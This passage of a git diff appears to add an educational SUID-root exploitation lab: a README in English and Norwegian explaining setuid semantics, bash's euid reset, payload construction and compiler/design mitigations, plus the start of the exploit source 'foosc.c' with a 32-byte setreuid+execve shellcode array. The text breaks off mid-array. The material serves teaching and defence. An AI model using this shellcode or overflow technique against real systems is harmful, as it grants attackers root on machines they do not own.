stedet for 23: de første fem instruksjonene er + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Så hva er exploitet, fra ende til annen? + +1. `foosc` leser `foosd`s banner over socketen. Det får: + - `ids=0/1000` — euid/ruid (SUID-selvdiagnosen) + - `stack=…` og `libc=…` — pekere (ASLR-leaksene) + - `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over +2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til + `win()` / `win_root()`. +3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det + offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget — + ingenting er hardkodet. +4. Det setter sammen payloaden. For `-t shellcode` er det: + `[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`. +5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører + `setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av + `/bin/sh`. bash starter med `ruid == euid == 0` og forblir root. +6. `foosc` videresender terminalen din til den root-shellen, til du skriver + `exit`. + +Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet +tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør +`make test` før `make setuid`, så ser du hver teknikk lande en shell mens +`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker +`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er +hele leksjonen, utført på ti sekunder. + +--- + +## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde + +Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og +setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system +mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er +forsvarene du får gratis: + +| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` av et ondsinnet bibliotek | «Setuid-programmet laster min `.so` og kjører koden min som root.» | Kjernen merker en setuid-binærfil som **AT_SECURE**; glibc ignorerer deretter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *upålitelig input*. `LD_PRELOAD` mot en setuid-binærfil er en no-op. | +| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | «Pek PATH mot en mappe med min falske `ls`; root-programmet kjører den.» | Et annet ansikt av samme forsvar: en AT_SECURE-prosess får en **sanert `PATH`** (en sikker standard, omtrent `/usr/local/bin:/usr/bin:/bin`) for `system()`/`execvp`, så den forgiftede mappen konsulteres aldri. | +| Setuid-`system()`-kommandoinjeksjon | «Den injiserte kommandoen kjører med euid 0.» | `system()` kjører kommandoen i en fersk `/bin/sh`, og den shellen — §5.2 — nullstiller `euid = ruid` ved start. Den injiserte kommandoen utføres med den *reelle* uid-en. (Det er fortsatt en feil; den eskalerer bare ikke lenger gjennom `/bin/sh`.) | +| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | «Kjør den, få root.» | Nøyaktig forsvaret ovenfor, og det er grunnen til at moderne distroer ikke leverer noen setuid-root-shell. Selv når du lykkes med å lage én, nekter bash å beholde euid 0 med mindre den startes med `-p`. | + +Det som forblir i live, og det er dette laboratoriet: **programmet er *allerede* +root når det kjører.** Du trenger ikke miljøet eller `system()`; du trenger at +programmet utfører *din* kode (via en minnekorrupsjonsfeil) mens det er +privilegert, og at koden din er omhyggelig nok til selv å rette opp +uid-mismatchen — `setreuid(0,0)` — før den overrekker deg en shell. +Minnekorrupsjon + SUID er kombinasjonen som fortsatt ender i `uid=0`, noe som er +nøyaktig hvorfor minnesikre språk, canaries og no-execute-stacker ikke er en +moteavgjørelse. + +--- + +## 7. Sikkerhetsgelenderne som er bygget inn i daemonen + +`foosd` er bevisst det *dårligste* stykket programvare i dette repositoriet, så +det bærer også flest gelendere: + +1. **Bare loopback, håndhevet.** `foosd` nekter enhver bind-adresse utenom + loopback, med mindre du gir `-L`. En setuid-root-listener på et ekte + grensesnitt er en fjern root-tjeneste; avslaget er standarden, så den + farlige tilstanden må skrives inn bevisst. +2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kjører som + root, så konsollen viser den tilstanden exploitet avhenger av. +3. **Loggen når aldri klienten.** Daemonen reserverer en privat + logg-descriptor før sockets erstatter fd 1, så crash-reporter-utdata og + interne stier ikke kan leses tilbake over ledningen av angriperen. +4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den verdien + angriperen skrev inn i returadressen — så en vellykket kapring er synlig i + `foosd.log` i stedet for å være en stille død. +5. **`make unsetuid`.** Fjerning av biten er scriptet, fordi å etterlate den + satt er feiltilstanden folk faktisk har. + +--- + +## 8. Mottiltak — hva hvert stopper, og hva det *ikke* stopper + +Anvendt på `foosd` via `make hardened`, én om gangen eller sammen: + +| Mottiltak | Hva det stopper | Hva det *ikke* stopper | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Overløpet: `ret` oppdager en smadret canary og aborter, før angriperens adresse brukes. Stopper her **alle fire** teknikkene — de deler det ene sårbare `read()`-et. | Ingenting ved *designet*: binærfilen er fortsatt setuid-root; en annen feil (format-streng-`%n`, heap-overflow, use-after-free) har ingen canary å utløse. | +| `-fPIE -pie` (ASLR for binærfilen) | Bruk av forutsigbare `win()`/`win_root()`-adresser (ret2win-teknikkene). | Shellcode-teknikken, hvis en stack-adresse fortsatt lekker (`BUF=`-linjen). | +| `-z noexecstack` (NX / W^X) | Shellcoden: CPU-en nekter å hente instruksjoner fra en data-only-side, så et hopp til `buf` er et SIGSEGV. | ROP — å kjøre kode som allerede finnes (`ret2libc`). | +| Alle tre sammen | En vanskelig-å-renne-over, randomisert binærfil med ikke-kjørbar stack. Slik ser en normal hardet build ut. | Setuid-biten. **En hardet SUID-binærfil er fortsatt en SUID-binærfil.** Hvis noen nåbar minnesikkerhetsfeil overlever, er det fortsatt «feil i en root-prosess». | + +Konsollbeviset er `make test-hardened`, som bytter den hardnede builden inn og +viser alle teknikkene dø ved canaryen, mens `foosd_hardened.log` fanger +`*** stack smashing detected ***`. + +To mottiltak på designnivå som ingen kompilator-flag leverer, og som +hovedlaboratoriet (`food`) også bruker: + +- **Minste privilegium.** En daemon for en uprivilegert port (2343 > 1024) har + intet legitimt behov for root. En korrekt `foosd` ville binde og deretter + `setgroups`/`setgid`/`setuid` til en uprivilegert konto og *bekrefte at det + holdt* (den korrekte versjonen står i kilden som `drop_privs()`, aldri kalt — + ikke-kallingen er laboratoriets feil nr. 3). +- **Begrens read-et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje + overgår hvert kompilator-flag i tabellen. + +--- + +## 9. Wire-protokollen (så du kan lese daemonen med netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kunne ikke skrives ut som `euid=`/`ruid=`, fordi + test-harnessen beviser en shell ved å greppe etter det bokstavelige `uid=`, og + banneret må ikke inneholde det (en sonde som deler signatur med svaret, er en + klassisk falsk-positiv-felle; se kommentaren i `foosd.c`). Harnessen krever + dessuten den strenge `id`-utdataformen — `uid=NNN(...)` — så ingenting + daemonen eller exploitet skriver ut kan oppfylle sjekken ved en tilfeldighet: + `foosc`s eget «target euid=… ruid=…» inneholder `uid=` som delstreng, noe som + en gang fikk en hardnet test til å melde en shell som aldri hadde kjørt. +* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lar shellcode og ret2libc beregne + eksakte adresser. + +--- + +## 10. Øvelser + +1. **Betrakt ikke-root-nedgraderingen.** Kjør `make test` *før* `make setuid`, + og deretter igjen etterpå. Forklar `ROOT=SEEN`-endringen med + ruid/euid-historien i §5.2. +2. **Les krasjet.** Kjør `./foosc -t demo -n` og les deretter `foosd.log`. + Linjen `RIP=0x4141414141414141` er angriperens padding — beviset på at + overløpet, ikke uhell, kontrollerer utførelsen. +3. **Legg til canaryen.** `make hardened` og endre selv `test-hardened`-løkken; + logglinjen `*** stack smashing detected ***` er forsvaret som virker. +4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ut, bygg om, og se + `-t shellcode` gå fra deterministisk til et gjettespill. Den ene linjen er + grunnen til at ekte ASLR-bypasser er et helt felt. +5. **`-p`-eksperimentet.** Endre i en kopi av `win()` `execl("/bin/sh", "sh", + NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er + den dokumenterte nødutgangen fra shellens vakt — og grunnen til at rådet + «spawn bare en shell» fra gamle write-ups er ufullstendig. +6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til å kalle `setuid(0)` + i stedet for `setreuid(0,0)` (syscall 105). Shellen lander fortsatt — og + faller fortsatt til `uid=1000`. Det er det mest lærerike + én-linjes-eksperimentet i hele repositoriet. + +--- + +## 11. Sikkerhet og opprydding + +- Bare loopback, som standard og etter design; `-L` binder lenger, og bare en + egnet-til-å-kastes VM bør i det hele tatt vurdere det. +- Dette er et root-shell-laboratorium. Ikke kjør det på en maskin som betyr + noe, og pek ikke `foosc -h` mot noe du ikke eier. +- Oppryddingsritual: `make stop` og deretter `make unsetuid`, og hvis du vil ha + treet plettfritt igjen: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.md b/suid/README.md new file mode 100644 index 0000000..547af1e --- /dev/null +++ b/suid/README.md @@ -0,0 +1,388 @@ +# SUID-Root RCE Lab — `foosd` (daemon) + `foosc` (exploit) + +A companion to the parent lab (`food` / `fooc`, a plain daemon where a buffer +overflow gives you a *user* shell). This one adds the most dangerous +one-character change in Unix: the **setuid bit**. + +> `chmod u+s` turns "the attacker can run code on this host" into "the +> attacker can run code as **root** on this host". + +That sentence is the entire lab. Everything below is the mechanism underneath +it, written down so that when you write your own software you know exactly +which two or three filesystem attributes and compiler flags decide whether a +memory-safety bug in your code is a nuisance or a root shell. + +The final demo, when `foosd` is setuid-root, is a **root shell** opened over +the network by executing 32 bytes of hand-written shellcode. + +--- + +## 1. What the setuid bit actually does + +Every process on Linux carries three user IDs, and the setuid bit tinkers +with the relationship between them: + +| ID | Name | Meaning | +|----|------|---------| +| `ruid` | real user ID | the account that *started* the process | +| `euid` | effective user ID | what the kernel checks when enforcing access | +| (saved) | saved set-user-ID | a "slot" a privileged process may return to later | + +A normal program has `ruid == euid`. When you execute a binary with the +setuid bit set and owned by root: + +```text +ruid = you (e.g. 1000, "hanez") +euid = the owner (e.g. 0, "root") +``` + +The process therefore has **root's authority** even though the user who +launched it is completely ordinary. Every check the kernel performs — can +this process read `/etc/shadow`? write a file? kill another process? — is +answered using `euid`, i.e. "yes, it's root". + +`foosd` is a network daemon. It binds a port, then `fork()`s a child per +connection. A fork *inherits* the euid, so every child that handles a +connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is +therefore an overflow *inside a root process*. + +**Diagnose it yourself once the daemon runs:** + +```console +$ ./foosd ... # see the log line it prints at startup +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +and from the exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. The lab at a glance + +| File | Role | +|------|------| +| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. | +| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. | +| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. | +| `README.md` | This file. | + +> **Why a pty?** The exploit's last act is to relay your terminal to the +> shell executing on the victim. A pipe or here-doc lands on the wrong end of +> that relay; a real terminal is required. + +--- + +## 3. Quick start + +```console +$ make # build everything, as your normal user +$ make setuid # one-time, asks for sudo: chown root + chmod u+s +$ make run # start foosd on 127.0.0.1:2343 +$ make test-suid # full matrix; shellcode + ret2win-root must give root +``` + +Interactive smoke test: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim +# exit +``` + +When you are done: + +```console +$ make stop +$ make unsetuid # hygiene: never leave a root SUID binary lying around +``` + +--- + +## 4. *When should I set the SUID bit?* — the answer you asked for + +Exactly **once, after building, before running the daemon for the +root-shell demos** — and only on a machine that is yours, disposable, and +off the network: + +```console +$ make # compile foosd, foosc, tests +$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start AFTER setting the bit +``` + +Two rules that matter more than the exact timing: + +1. **Set it only after the binary is final.** If you rebuild (`make` / `make + clean`) after setting the bit you will hit a "Permission denied" writing + the root-owned output file — and if you force the rebuild, the toolchain + recreates the file **without** the `s`, silently undoing the setup. The + canonical sequence whenever you rebuild is therefore + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Remove it when you are done.** `make unsetuid`. A live, root-owned, + setuid binary with an exploitable bug sitting in your tree is not a + learning aid, it is a root hole with a compile error between it and + nowhere. On a shared or production machine: **don't do any of this.** + The daemon also refuses by default to bind anything but loopback (see + §7). + +If you run the exploit *without* ever setting the bit, nothing breaks — the +payload still lands and you still get a shell. The difference is in one +number, and the exploit says it out loud: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +That "works, but not root" outcome is itself part of the lab. Keep it in +mind for the next section. + +--- + +## 5. The mechanism — and the twist that makes SUID interesting + +### 5.1 The overflow (identical to `food`) + +`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a +64-byte stack buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */ +``` + +On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill +`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved +return address**. When `vulnerable_handler` executes `ret`, the CPU pops the +attacker's value into `RIP` — attacker-controlled code execution. The +exploit discovers the exact distance (88 bytes for this build) by parsing +`objdump` output rather than hardcoding it, so the number survives rebuilds. + +### 5.2 The twist: the shell refuses to be root + +Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and +why this lab has the exact shape it has. + +When a setuid-root program runs, its `ruid` is still the launching user and +its `euid` is root. If the program — or the attacker — now starts a shell: + +* `execve("/bin/sh")` does **not** change the uids; the new process inherits + `(ruid=1000, euid=0)`. +* bash (and dash) **check exactly that condition at startup**. From the bash + manual: *"If the shell is started with the effective user (group) id not + equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id."* + +So the shell takes one look at itself and *drops root* — a defence the shell +authors built specifically against this attack (the historical justification +was the setuid-shell / setuid-script problem). The result is the “works, but +not root” cases: + +| Technique | What it executes | Resulting uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash | +| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down | +| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code | + +The two that reach root differ from the two that don't by exactly one +idea: **they clear the *real* uid, not just the effective one.** + +```c +setuid(0) /* changes euid to 0, but ruid stays 1000: + bash still sees euid != ruid and STILL resets. */ +setreuid(0, 0) /* changes BOTH: ruid = euid = 0. + bash sees equal uids and keeps root. */ +``` + +That is why the classic `/bin/sh` shellcode you will find everywhere on the +internet starts with a uid-clearing syscall — and it is the reason the +shellcode here is 32 bytes instead of 23: the first five instructions are + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 So what is the exploit, end to end? + +1. `foosc` reads `foosd`'s banner over the socket. It gets: + - `ids=0/1000` — euid/ruid (the SUID self-diagnosis) + - `stack=…` and `libc=…` — pointers (the ASLR leaks) + - `BUF=…` — the exact address of the buffer it is about to overflow +2. From the target binary (via `objdump`) it learns `rip_off` and the + addresses of `win()` / `win_root()`. +3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it + measures the offsets of `system`, `read`, `/bin/sh` and a + `pop rdi; ret` gadget — nothing is hardcoded. +4. It assembles the payload. For `-t shellcode` that is: + `[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`. +5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel + executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve` + of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root. +6. `foosc` relays your terminal to that root shell until you type `exit`. + +One sanity detail that costs people a lot of time if missed: the exploit +tests each uid-clearing behaviour **without** needing the setuid bit first. +Run `make test` before `make setuid` and you will watch every technique land +a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and +`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B +is the whole lesson, executable in ten seconds. + +--- + +## 6. The old one-liners — and why most of them are dead + +If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`, +and setuid shells. All three are classic, and all three fail on a modern +system against *this program*. It is worth knowing precisely why, because the +reasons are the defences you get for free: + +| Attack class | Old claim | Why it fails on a modern box | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. | +| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. | +| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) | +| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. | + +What remains alive, and is this lab: **the program is *already* root when it +runs.** You do not need the environment or `system()`; you need the program +to execute *your* code (via a memory-corruption bug) while privileged, and +your code must be careful enough to fix the uid mismatch itself — +`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is +the combination that still ends in `uid=0`, which is exactly why memory-safe +languages, canaries, and no-execute stacks are not a fashion choice. + +--- + +## 7. The safety rails built into the daemon + +`foosd` is deliberately the *worst* piece of software in this repository, so +it also carries the most guard rails: + +1. **Loopback only, enforced.** `foosd` refuses any bind address other than + loopback unless you pass `-L`. A setuid-root listener on a real + interface is a remote root service; the refusal is the default so the + dangerous state has to be typed in deliberately. +2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is + running as root, so the console shows the state the exploit depends on. +3. **The log never reaches the client.** The daemon reserves a private log + descriptor before sockets replace fd 1, so crash reporter output and + internal paths cannot be read back over the wire by the attacker. +4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the + attacker wrote into the return address — so a successful hijack is + visible in `foosd.log` instead of being a silent death. +5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set + is the failure mode people actually have. + +--- + +## 8. Mitigations — what each one does and does *not* stop + +Applied to `foosd` via `make hardened`, one at a time or together: + +| Mitigation | What it stops | What it does *not* stop | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. | +| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). | +| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). | +| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". | + +The console proof is `make test-hardened`, which swaps in the hardened build +and shows all techniques dying at the canary while `foosd_hardened.log` +records `*** stack smashing detected ***`. + +Two design-level mitigations that no compiler flag delivers, and that the +parent lab (`food`) uses as well: + +- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has + no legitimate need for root. A correct `foosd` would bind, then + `setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it + stuck* (the correct version is in the source as `drop_privs()`, never + called — the un-called-ness is Bug #3 of the lab). +- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct + line outranks every compiler flag in the table. + +--- + +## 9. The wire protocol (so you can read the daemon with netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test + harness proves a shell by grepping for the literal `uid=` and the banner + must not contain it (a probe sharing a signature with the answer is a + classic false-positive trap; see the comment in `foosd.c`). The harness + additionally requires the strict `id`-output shape — `uid=NNN(...)` — so + nothing the daemon or the exploit prints can satisfy the check by + accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as + a substring, which once made a hardened-build test report a shell that + had never run. +* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and + ret2libc to compute exact addresses. + +--- + +## 10. Exercises + +1. **Watch the non-root demotion.** Run `make test` *before* `make + setuid`, then again after. Explain the `ROOT=SEEN` change using the + ruid/euid story in §5.2. +2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`. + The `RIP=0x4141414141414141` line is the attacker's padding — the proof + that the overflow, not bad luck, controls execution. +3. **Add the canary.** `make hardened` and change the `test-hardened` loop + yourself; the log line `*** stack smashing detected ***` is the defence + working. +4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`, + rebuild, and watch `-t shellcode` go from deterministic to a guessing + game. That single line is why real ASLR bypasses are a whole field. +5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh", + "sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root. + `-p` is the documented escape hatch from the shell's guard — and the + reason "just spawn a shell" advice from old write-ups is incomplete. +6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)` + instead of `setreuid(0,0)` (syscall 105). The shell still lands — and + still drops to `uid=1000`. This is the single most instructive one-line + experiment in the whole repository. + +--- + +## 11. Safety and cleanup + +- Loopback only, by default and by design; `-L` binds further, and only a + disposable VM should even consider it. +- This is a root-shell lab. Do not run it on a machine that matters, and do + not point `foosc -h` at anything you do not own. +- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree + pristine again `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/foosc.c b/suid/foosc.c new file mode 100644 index 0000000..6355e46 --- /dev/null +++ b/suid/foosc.c @@ -0,0 +1,1142 @@ +/* + * ============================================================================ + * foosc.c -- "foosc": the exploit for the SUID-root daemon `foosd` + * ============================================================================ + * + * PURPOSE + * ------- + * `foosc` connects to `foosd`, reads the leaks it publishes, and builds a + * payload that overwrites the saved return address on `foosd`'s stack. When + * foosd is running SETUID ROOT (which `make setuid` arranges), the resulting + * shell runs with euid 0: this is RCE that ends in a *root* shell. + * + * The technique that gets root is the default and the star of the show: + * + * TECHNIQUE: shellcode + * ------------- + * The payload is 32 bytes of raw machine code that does + * + * setreuid(0, 0) ; ALSO clear the real uid -- see below + * execve("/bin/sh", 0, 0) ; become a shell + * + * It is placed on foosd's stack and the hijacked `ret` jumps to it. The + * setreuid is not optional. bash (and dash) compare euid against ruid at + * startup and RESET euid = ruid whenever the two differ, so a plain + * execve("/bin/sh") out of a setuid process would give you a shell that + * swiftly forgets it was root. setreuid(0,0) makes both ids 0, the shell + * sees equal uids, and root survives. (Why ruid matters is explained in + * the comement blocks around SHELLCODE[] and in README.md.) + * + * Other techniques are included for comparison, and each is a lesson: + * + * ret2win jump to foosd's `win()`. It execs /bin/sh WITHOUT + * clearing ruid, so you get a shell that is NOT root + * -- the shell's own privilege guard robbed you. This is + * exactly what happens to naive "SUID + system()" code. + * ret2win-root jump to foosd's `win_root()`, which calls + * setreuid(0,0) from C first. ROOT shell, no shellcode. + * ret2libc call system("/bin/sh"). system() runs the command in a + * fresh /bin/sh, which -- same guard -- drops the + * effective id: a shell, but NOT root. + * leak just print what the daemon tells us, send no payload. + * demo overflow with 'A's only: proves the bug via SIGSEGV. + * + * THE SUID STATE IS PART OF THE PROTOCOL + * -------------------------------------- + * The daemon's banner includes "ids=euid/ruid". foosc prints a loud warning + * when euid is not 0, i.e. when you have not run `sudo make setuid` yet -- + * without the bit, everything below still works, but the shell is a plain + * user shell and thinking the exploit "failed" would be wrong. + * + * SAFETY + * ------ + * Defaults to 127.0.0.1:2343. This lab produces ROOT shells on the machine + * it runs against. Point it at anything you do not own and you are + * committing a computer-intrusion offence. Don't. + * + * Build: make foosc + * Usage: ./foosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] + * + * THE SHELL IS ON THE VICTIM + * -------------------------- + * Like fooc before it, this program never spawns a local shell. After the + * payload lands there is exactly one shell, running inside foosd's hijacked + * (root) process with the TCP connection as its stdio. This side only + * relays bytes -- see become_shell() for the story of why that is the only + * correct design. + * ============================================================================ + */ + +/* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */ +#define _GNU_SOURCE + +#include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ +#include /* isspace()/isxdigit() for parsing. */ +#include /* dlsym(): find a symbol's address in OUR libc. */ +#include /* errno / strerror(). */ +#include /* open(), O_NONBLOCK. */ +#include /* struct sockaddr_in, htons(). */ +#include /* poll(): multiplex the terminal and the socket. */ +#include /* uint64_t. */ +#include /* printf and friends. */ +#include /* exit(), malloc(), strtoul(). */ +#include /* memcpy(), strstr(), memmem(). */ +#include /* socket(), connect(), shutdown(). */ +#include /* ssize_t, pid_t. */ +#include /* waitpid(): reap the relay child when the session + * ends. */ +#include /* read, write, close, dup2, usleep, _exit. */ + +/* ------------------------------------------------------------------------- */ +/* Defaults */ +/* ------------------------------------------------------------------------- */ + +#define FOOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ +#define FOOSC_PORT 2343 /* Must match foosd's -p. */ +#define FOOSC_BIN "./foosd" /* The target binary, for static analysis. */ + +/* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based + * copy; instantly recognisable in a crash dump as 0x4141414141414141. */ +#define PAD_BYTE 0x41 + +/* Upper bound on banner/leak text we tolerate. */ +#define RECV_MAX 4096 + +/* ------------------------------------------------------------------------- */ +/* x86-64 shellcode -- the setreuid + execve payload */ +/* ------------------------------------------------------------------------- */ + +/* + * 32 bytes of machine code, byte-for-byte what shellcode.S assembles to. + * + * setreuid(0, 0) ; ruid = 0 AND euid = 0 + * execve("/bin/sh",0,0) ; become a root shell + * + * 31 ff xor edi, edi ; ruid = 0 + * 31 f6 xor esi, esi ; euid = 0 + * 6a 71 push 0x71 ; 113 = setreuid + * 58 pop rax + * 0f 05 syscall + * 31 f6 xor esi, esi ; argv = NULL + * 31 d2 xor edx, edx ; envp = NULL + * 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f + * 73 68 00 ; rdi = "/bin/sh\0" + * 57 push rdi ; string onto the stack + * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" + * 6a 3b push 0x3b ; 59 = execve + * 58 pop rax + * 0f 05 syscall + * + * WHY setreuid AND NOT setuid -- this comment is the whole lab in miniature: + * + * execve leaves uids alone. A setuid-root process therefore execs /bin/sh + * with (ruid=user, euid=0). bash notices the mismatch at startup and, in + * the absence of -p, sets euid = ruid -- the shell's built-in guard against + * exactly this attack. setuid(0) alone also loses, because it only changes + * euid, so the mismatch survives. setreuid(0,0) changes BOTH, giving the + * shell equal ids to start from, and root persists. Compare with foosd's + * win() (no root) against win_root() (root) for the same lesson in C. + * + * Note there is deliberately no `ret` at the end: execve replaces the whole + * process image and never returns. + */ +static const unsigned char SHELLCODE[] = { + 0x31, 0xff, /* xor edi, edi */ + 0x31, 0xf6, /* xor esi, esi */ + 0x6a, 0x71, /* push 0x71 (setreuid) */ + 0x58, /* pop rax */ + 0x0f, 0x05, /* syscall */ + 0x31, 0xf6, /* xor esi, esi */ + 0x31, 0xd2, /* xor edx, edx */ + 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low) */ + 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high+NUL) */ + 0x57, /* push rdi */ + 0x48, 0x89, 0xe7, /* mov rdi, rsp */ + 0x6a, 0x3b, /* 